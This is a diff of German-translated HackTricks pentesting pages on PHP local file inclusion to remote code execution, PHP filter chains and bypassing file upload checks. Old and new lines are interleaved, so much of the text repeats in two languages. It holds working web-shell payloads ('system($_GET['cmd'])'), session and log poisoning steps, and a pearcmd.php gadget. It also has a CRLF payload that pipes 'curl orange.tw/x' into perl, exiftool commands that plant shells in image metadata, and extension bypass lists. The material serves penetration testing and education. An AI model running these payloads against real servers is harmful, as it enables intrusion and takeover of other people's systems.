Um die Datei lesbar zu halten, ist es am besten, in die Metadaten von Bildern/Dokumenten/PDFs zu injizieren
### Über ZIP-Datei-Upload
### Per Upload einer ZIP-Datei
Lade eine ZIP-Datei hoch, die eine komprimierte PHP-Shell enthält, und greife darauf zu:
Lade eine ZIP-Datei hoch, die eine komprimierte PHP shell enthält, und greife darauf zu:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Über PHP Sessions
### Über PHP sessions
Prüfe, ob die Website PHP Session (PHPSESSID) verwendet
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP werden diese Sessions in _/var/lib/php5/sess\\_\[PHPSESSID]\_ Dateien gespeichert.
In PHP werden diese sessions in _/var/lib/php5/sess\\_\[PHPSESSID]\_ Dateien gespeichert.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -545,24 +544,24 @@ Setze das Cookie auf `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Verwende LFI, um die PHP-Session-Datei einzubinden.
Verwende das LFI, um die PHP-Session-Datei einzubinden
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Über ssh
Wenn ssh aktiv ist, überprüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche, auf **\<HOME>/.ssh/id_rsa** zuzugreifen
Wenn ssh aktiv ist, prüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche, auf **\<HOME>/.ssh/id_rsa** zuzugreifen.
### **Über** **vsftpd** _**Protokolle**_
### **Über** **vsftpd** _**logs**_
Die Logs für den FTP-Server vsftpd befinden sich unter _**/var/log/vsftpd.log**_. In dem Szenario, in dem eine Local File Inclusion (LFI)-Schwachstelle existiert und Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:
Die Logs des FTP-Servers vsftpd befinden sich unter _**/var/log/vsftpd.log**_. In dem Szenario, in dem eine Local File Inclusion (LFI)-Schwachstelle besteht und Zugang zu einem exponierten vsftpd-Server möglich ist, können folgende Schritte in Betracht gezogen werden:
1. Injiziere ein PHP payload in das Benutzername-Feld während des Login-Prozesses.
2. Nach der Injection nutze die LFI, um die Server-Logs von _**/var/log/vsftpd.log**_ auszulesen.
1. Injiziere eine PHP-Payload in das Username-Feld während des Anmeldevorgangs.
2. Nach der Injektion nutze die LFI, um die Server-Logs von _**/var/log/vsftpd.log**_ abzurufen.
### Über php base64 filter (using base64)
### Über PHP base64-Filter (mit base64)
Wie in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article gezeigt, ignoriert der PHP base64 filter einfach Non-base64. Du kannst das nutzen, um die Dateiendungsprüfung zu umgehen: wenn du base64 angibst, das mit ".php" endet, würde er einfach den "." ignorieren und "php" an das base64 anhängen. Hier ist ein Beispiel-Payload:
Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP-base64-Filter einfach Nicht-base64-Zeichen. Du kannst das nutzen, um die Prüfung auf die Dateiendung zu umgehen: Wenn du base64 bereitstellst, das mit ".php" endet, würde er den "." einfach ignorieren und "php" an das base64 anhängen. Hier ist ein Beispiel-Payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -570,8 +569,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass du **php filters** verwenden kannst, um beliebige Inhalte als Ausgabe zu generieren. Das bedeutet im Wesentlichen, dass du beliebigen **php code** für das **include** erzeugen kannst, ohne ihn in eine Datei schreiben zu müssen.
Dieser [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass du **php filters to generate arbitrary content** als Ausgabe verwenden kannst. Das bedeutet im Wesentlichen, dass du **generate arbitrary php code** für das include erzeugen kannst, **without needing to write** es in eine Datei.
{{#ref}}
lfi2rce-via-php-filters.md
@ -579,8 +577,7 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
Lade eine Datei hoch, die temporär in `/tmp` gespeichert wird, dann löse in derselben Anfrage einen **segmentation fault** aus — die temporäre Datei wird dann nicht gelöscht und du kannst danach suchen.
Lade eine Datei hoch, die als **temporary** in `/tmp` gespeichert wird; löse dann in derselben Anfrage einen **segmentation fault** aus. Die temporäre Datei wird nicht gelöscht und du kannst sie danach suchen.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -590,15 +587,13 @@ lfi2rce-via-segmentation-fault.md
Wenn du eine **Local File Inclusion** gefunden hast und **Nginx** vor PHP läuft, könntest du mit der folgenden Technik RCE erlangen:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
### Via PHP_SESSION_UPLOAD_PROGRESS
Wenn du eine **Local File Inclusion** gefunden hast, selbst wenn du **keine Session** hast und `session.auto_start` auf `Off` gesetzt ist. Wenn du den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten angibst, wird PHP die Session für dich aktivieren. Du könntest das missbrauchen, um RCE zu erhalten:
Wenn du eine **Local File Inclusion** gefunden hast, selbst wenn du **don't have a session** und `session.auto_start` auf `Off` steht. Wenn du den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten mitsendest, wird PHP die Session für dich **enable the session for you**. Du könntest das missbrauchen, um RCE zu erhalten:
{{#ref}}
via-php_session_upload_progress.md
@ -608,58 +603,57 @@ via-php_session_upload_progress.md
Wenn du eine **Local File Inclusion** gefunden hast und der Server unter **Windows** läuft, könntest du RCE erlangen:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
### Via `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), das Script `/usr/local/lib/phppearcmd.php` existiert standardmäßig in php docker images. Außerdem ist es möglich, dem Script Argumente über die URL zu übergeben, da dort angegeben ist, dass ein URL-Parameter ohne `=` als Argument verwendet werden soll. Siehe auch [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) und [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
Die folgende Anfrage erstellt eine Datei in `/tmp/hello.php` mit dem Inhalt `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Das Folgende missbraucht eine CRLF vuln, um RCE zu erhalten (aus [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Das Folgende missbraucht eine CRLF vuln, um RCE zu erlangen (von [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Über phpinfo() (file_uploads = on)
### Via phpinfo() (file_uploads = on)
Wenn du eine **Local File Inclusion** gefunden hast und eine Datei, die **phpinfo()** mit file_uploads = on offenlegt, kannst du RCE erhalten:
Wenn du eine **Local File Inclusion** und eine Datei gefunden hast, die **phpinfo()** mit file_uploads = on offenlegt, kannst du RCE erlangen:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Über compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Wenn du eine **Local File Inclusion** gefunden hast und du den Pfad der temporären Datei exfiltrieren kannst, ABER der **server** überprüft, ob die einzubindende Datei PHP-Markierungen hat, kannst du versuchen, diese Überprüfung mit dieser **Race Condition** zu umgehen:
Wenn du eine **Local File Inclusion** gefunden hast und du **den Pfad** der temporären Datei **exfiltrieren** kannst, ABER der **Server** überprüft, ob die **einzuschließende Datei PHP-Tags hat**, kannst du versuchen, diese Überprüfung mit dieser **Race Condition** zu **bypassen**:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Über eternal waiting + bruteforce
### Via eternal waiting + bruteforce
Wenn du das LFI missbrauchen kannst, um **temporäre Dateien hochzuladen** und den **server** die PHP-Ausführung **hängen** zu lassen, könntest du dann über Stunden Dateinamen per bruteforce erraten, um die temporäre Datei zu finden:
Wenn du das LFI missbrauchen kannst, um **upload temporary files** und den Server die PHP-Ausführung **hang**en zu lassen, könntest du anschließend **brute force filenames during hours** durchführen, um die temporäre Datei zu finden:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### Zu Fatal Error
### To Fatal Error
Wenn du eine der Dateien `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` einbindest. (Du musst dieselbe Datei 2 Mal einbinden, um diesen Fehler auszulösen).
If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (You need to include the same one 2 time to throw that error).
**Ich weiß nicht, wie das nützlich sein soll, aber es könnte es sein.**\
**Ich weiß nicht, wie das nützlich ist, aber es könnte sein.**\
_Selbst wenn du einen PHP Fatal Error verursachst, werden hochgeladene PHP-Temporärdateien gelöscht._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
@ -673,6 +667,7 @@ _Selbst wenn du einen PHP Fatal Error verursachst, werden hochgeladene PHP-Tempo
- [watchTowr We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -2,31 +2,32 @@
{{#include ../../banners/hacktricks-training.md}}
## Intro
Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **PHP-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen PHP-Code** für die Include-Anweisung **generieren können, ohne ihn** in eine Datei schreiben zu müssen.
## Einführung
Im Grunde genommen ist das Ziel des Skripts, eine **Base64**-Zeichenfolge am **Anfang** der Datei zu **generieren**, die schließlich decodiert wird und die gewünschte Payload bereitstellt, die von `include` **interpretiert wird**.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass man **php filters** verwenden kann, um beliebigen Inhalt als Ausgabe zu erzeugen. Das bedeutet im Grunde, dass man beliebigen phpCode für das include erzeugen kann, ohne ihn in eine Datei schreiben zu müssen.
Im Wesentlichen ist das Ziel des Skripts, eine **Base64**-Zeichenkette am **Anfang** der Datei zu erzeugen, die schließlich **dekodiert** wird und die gewünschte Nutzlast liefert, die von `include` **interpretiert** wird.
Die Grundlagen dafür sind:
- `convert.iconv.UTF8.CSISO2022KR` wird immer `\x1b$)C` an die Zeichenfolge anfügen
- `convert.base64-decode` ist extrem tolerant, es ignoriert im Grunde genommen einfach alle Zeichen, die kein gültiges Base64 sind. Es gibt einige Probleme, wenn es unerwartete "=" findet, aber diese können mit dem Filter `convert.iconv.UTF8.UTF7` entfernt werden.
- `convert.iconv.UTF8.CSISO2022KR` wird immer `\x1b$)C` an den String voranstellen
- `convert.base64-decode` ist extrem tolerant; es ignoriert im Grunde alle Zeichen, die kein gültiges Base64 sind. Probleme entstehen, wenn es unerwartete "=" findet, aber diese können mit dem `convert.iconv.UTF8.UTF7` filter entfernt werden.
Die Schleife zur Generierung beliebiger Inhalte ist:
Die Schleife, um beliebigen Inhalt zu erzeugen, ist:
1. Fügen Sie `\x1b$)C` wie oben beschrieben an unsere Zeichenfolge an
2. Wenden Sie eine Kette von iconv-Konvertierungen an, die unser ursprüngliches Base64 intakt lässt und den Teil, den wir gerade hinzugefügt haben, in eine Zeichenfolge konvertiert, bei der das einzige gültige Base64-Zeichen der nächste Teil unseres base64-kodierten PHP-Codes ist
3. Base64-dekodieren und base64-enkodieren der Zeichenfolge, was alle Müllzeichen dazwischen entfernt
4. Gehen Sie zurück zu 1, wenn das Base64, das wir konstruieren möchten, noch nicht fertig ist
5. Base64-dekodieren, um unseren PHP-Code zu erhalten
1. `\x1b$)C` wie oben beschrieben an unseren String voranstellen
2. Eine Kette von iconv-Konvertierungen anwenden, die unser initiales Base64 intakt lässt und den Teil, den wir gerade vorangestellt haben, in einen String umwandelt, in dem das einzige gültige Base64-Zeichen der nächste Teil unseres Base64-codierten php-Codes ist
3. Den String base64-decodieren und wieder base64-encodieren; dadurch werden alle dazwischenliegenden störenden Zeichen entfernt
4. Zurück zu 1, falls das aufzubauende Base64 noch nicht fertig ist
5. Base64-dekodieren, um unseren php-Code zu erhalten
> [!WARNING]
> **Includes** tun normalerweise Dinge wie **".php" am Ende** der Datei anzuhängen, was die Ausnutzung erschweren könnte, da Sie eine .php-Datei mit einem Inhalt finden müssten, der den Exploit nicht killt... oder Sie **könnten einfach `php://temp` als Ressource verwenden**, da es **alles im Namen angehängt haben kann** (z. B. +".php") und es wird immer noch ermöglichen, dass der Exploit funktioniert!
> **Includes** fügen normalerweise Dinge wie das **Anhängen von ".php" am Ende** der Datei hinzu, was die Ausnutzung erschweren kann, weil man eine .php-Datei finden müsste, deren Inhalt den Exploit nicht verhindert... oder man **könnte einfach `php://temp` als resource** verwenden, weil es **jedes beliebige Zeichen an den Namen anhängen kann** (lie +".php") und der Exploit trotzdem funktioniert!
## Wie man auch Suffixe zu den resultierenden Daten hinzufügt
## Wie man dem resultierenden String außerdem Suffixe hinzufügt
[**Dieser Bericht erklärt**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix), wie Sie PHP-Filter weiterhin missbrauchen können, um Suffixe zu der resultierenden Zeichenfolge hinzuzufügen. Dies ist großartig, falls Sie die Ausgabe in einem bestimmten Format benötigen (wie JSON oder vielleicht das Hinzufügen einiger PNG-Magic-Bytes)
[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) wie man PHP filters weiterhin missbrauchen kann, um Suffixe an den resultierenden String anzuhängen. Das ist nützlich, falls die Ausgabe ein bestimmtes Format haben muss (wie json oder das Hinzufügen einiger PNG-Magic-Bytes).
## Automatische Tools
@ -95,7 +96,7 @@ print(r.text)
```
### Verbesserungen
Das vorherige Skript ist auf die für diese Payload benötigten base64-Zeichen beschränkt. Daher habe ich mein eigenes Skript erstellt, um **alle base64-Zeichen zu bruteforcen**:
Das vorherige Skript ist auf die base64-Zeichen beschränkt, die für diesen payload benötigt werden. Daher habe ich mein eigenes Skript erstellt, um alle base64-Zeichen zu bruteforcen:
```php
conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -164,7 +165,7 @@ conversions = {
'=': ''
}
```
Hier ist das **Skript**, um Kodierungen zu erhalten, die jeden b64-Buchstaben erzeugen:
Hier ist das **script**, um encodings zu erhalten, die jeden b64-Buchstaben erzeugen:
```php
<?php
@ -253,6 +254,7 @@ find_vals($init);
## Weitere Referenzen
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTFborn exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,12 @@
{{#include ../../banners/hacktricks-training.md}}
## Allgemeine Methodik für Datei-Uploads
## Allgemeine Methodik zum Datei-Upload
Weitere nützliche Erweiterungen:
Other useful extensions:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Arbeiten in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **Working in PHPv8**: _.php_, _.php4_, .php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -15,13 +15,13 @@ Weitere nützliche Erweiterungen:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Umgehung von Überprüfungen der Dateierweiterungen
### Umgehen von Dateierweiterungsprüfungen
1. Wenn sie zutreffen, **überprüfen** Sie die **vorherigen Erweiterungen.** Testen Sie sie auch mit einigen **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._
2. _Überprüfen Sie **das Hinzufügen einer gültigen Erweiterung vor** der Ausführungs-Erweiterung (verwenden Sie auch vorherige Erweiterungen):_
1. Falls zutreffend, überprüfe die **vorherigen Erweiterungen.** Teste sie auch mit **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._
2. _Prüfe **das Hinzufügen einer gültigen Erweiterung vor** der Ausführungserweiterung (verwende auch die vorherigen Erweiterungen):_
- _file.png.php_
- _file.png.Php5_
3. Versuchen Sie, **Sonderzeichen am Ende hinzuzufügen.** Sie könnten Burp verwenden, um alle **ascii** und **Unicode** Zeichen zu **bruteforcen**. (_Beachten Sie, dass Sie auch die **vorher** genannten **Erweiterungen** verwenden können_)
3. Versuche, **Sonderzeichen am Ende** hinzuzufügen. Du könntest Burp benutzen, um alle **ascii** und **Unicode** Zeichen zu **bruteforcen**. (_Hinweis: Du kannst auch versuchen, die **vorher** genannten **Erweiterungen** zu verwenden_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Weitere nützliche Erweiterungen:
- _file._
- _file.php...._
- _file.pHp5...._
4. Versuchen Sie, die Schutzmaßnahmen zu umgehen, indem Sie den **Erweiterungsparser** auf der Serverseite mit Techniken wie **Verdopplung** der **Erweiterung** oder **Hinzufügen von Junk**-Daten (**null** Bytes) zwischen den Erweiterungen täuschen. _Sie können auch die **vorherigen Erweiterungen** verwenden, um eine bessere Payload vorzubereiten._
4. Versuche, den Schutz zu umgehen, indem du den **Extension-Parser** auf Serverseite täuschst — z. B. durch **Verdoppeln** der **Erweiterung** oder **Einfügen von Junk-Daten** (**null bytes**) zwischen den Erweiterungen. _Du kannst auch die **vorherigen Erweiterungen** nutzen, um ein besseres Payload vorzubereiten._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,75 +40,75 @@ Weitere nützliche Erweiterungen:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Fügen Sie **eine weitere Schicht von Erweiterungen** zur vorherigen Überprüfung hinzu:
5. Füge **weitere Erweiterungs-Schichten** zu den vorherigen Checks hinzu:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Versuchen Sie, die **exec-Erweiterung vor der gültigen Erweiterung** zu setzen und beten Sie, dass der Server falsch konfiguriert ist. (nützlich zur Ausnutzung von Apache-Misconfigurationen, bei denen alles mit der Erweiterung **_**.php**_**, aber **nicht unbedingt endend in .php** Code ausführt):
- _z.B.: file.php.png_
7. Verwenden von **NTFS-Alternativdatenstrom (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunktzeichen “:” nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Infolgedessen wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z.B. “file.asax:.jpg”). Diese Datei kann später mit anderen Techniken bearbeitet werden, z.B. mit ihrem kurzen Dateinamen. Das Muster “**::$data**” kann auch verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z.B. “file.asp::$data.”)
8. Versuchen Sie, die Dateinamenlimits zu brechen. Die gültige Erweiterung wird abgeschnitten. Und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
6. Versuche, die **Ausführungserweiterung vor der gültigen Erweiterung** zu platzieren und hoffe auf eine Fehlkonfiguration des Servers. (nützlich, um Apache-Fehlkonfigurationen auszunutzen, bei denen alles mit der Erweiterung **.php**, aber **nicht unbedingt endend auf .php**, Code ausführt):
- _ex: file.php.png_
7. Verwendung von **NTFS alternate data stream (ADS)** unter **Windows**. In diesem Fall wird ein Doppelpunkt ":" nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Dadurch wird auf dem Server eine **leere Datei mit der verbotenen Erweiterung** erstellt (z. B. "file.asax:.jpg”). Diese Datei könnte später mit anderen Techniken bearbeitet werden, z. B. über ihren Short Filename. Das Muster "**::$data**” kann auch verwendet werden, um nicht-leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktes nach diesem Muster hilfreich sein, um weitere Einschränkungen zu umgehen (z. B. "file.asp::$data.”)
8. Versuche, die Dateinamenlimits zu durchbrechen. Die gültige Erweiterung wird abgeschnitten, und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
```
# Linux maximal 255 Bytes
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und .png hinzufügen
# Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen sie zulässt. Angenommen 236
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Erstellen Sie die Payload
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
```
### Umgehung von Content-Type, Magic Number, Kompression & Größenänderung
### Content-Type, Magic Number, Kompression & Größenänderung umgehen
- Umgehung der **Content-Type**-Überprüfungen, indem der **Wert** des **Content-Type** **Headers** auf: _image/png_, _text/plain_, application/octet-stream_ gesetzt wird.
1. Content-Type **Wortliste**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Umgehung der **Magic Number**-Überprüfung, indem am Anfang der Datei die **Bytes eines echten Bildes** hinzugefügt werden (verwirren Sie den _file_ Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\
- Umgehe **Content-Type**-Prüfungen, indem du den **Wert** des **Content-Type** **Headers** auf setzt: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Umgehe die **magic number**-Prüfung, indem du am Anfang der Datei die **Bytes eines echten Bildes** einfügst (verwirrt das _file_-Kommando). Oder platziere die Shell in den **Metadaten**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` oder Sie könnten auch **die Payload direkt** in ein Bild einfügen:\
`\` oder du könntest das Payload auch direkt in ein Bild einfügen:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Wenn **Kompression** zu Ihrem Bild hinzugefügt wird, z.B. mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- Falls **Kompressionen auf dein Bild angewendet** werden, z. B. durch Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Du kannst jedoch den **PLTE chunk** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Die Webseite könnte auch das **Bild** **verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- Die Webseite könnte das **Bild außerdem skalieren**, z. B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Du könntest jedoch den **IDAT chunk** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der die **Kompression überlebt**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Eine weitere Technik, um eine Payload zu erstellen, die **eine Größenänderung des Bildes übersteht**, ist die Verwendung der PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch die **tEXt-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**.
- Eine weitere Technik, um ein Payload zu erstellen, das eine Bildskalierung übersteht (z. B. die PHP-GD-Funktion `thumbnailImage`), ist die Verwendung des **tEXt chunk** [**hier definierte Technik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html), um Text einzufügen, der die **Kompression überlebt**.
- [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Weitere Tricks zur Überprüfung
### Weitere Tricks zum Prüfen
- Finden Sie eine Schwachstelle, um die bereits hochgeladene Datei **umzubenennen** (um die Erweiterung zu ändern).
- Finden Sie eine **Local File Inclusion**-Schwachstelle, um die Hintertür auszuführen.
- Finde eine Verwundbarkeit, um die bereits hochgeladene Datei umzubenennen (um die Erweiterung zu ändern).
- Finde eine **Local File Inclusion**-Vulnerability, um den Backdoor auszuführen.
- **Mögliche Informationsoffenlegung**:
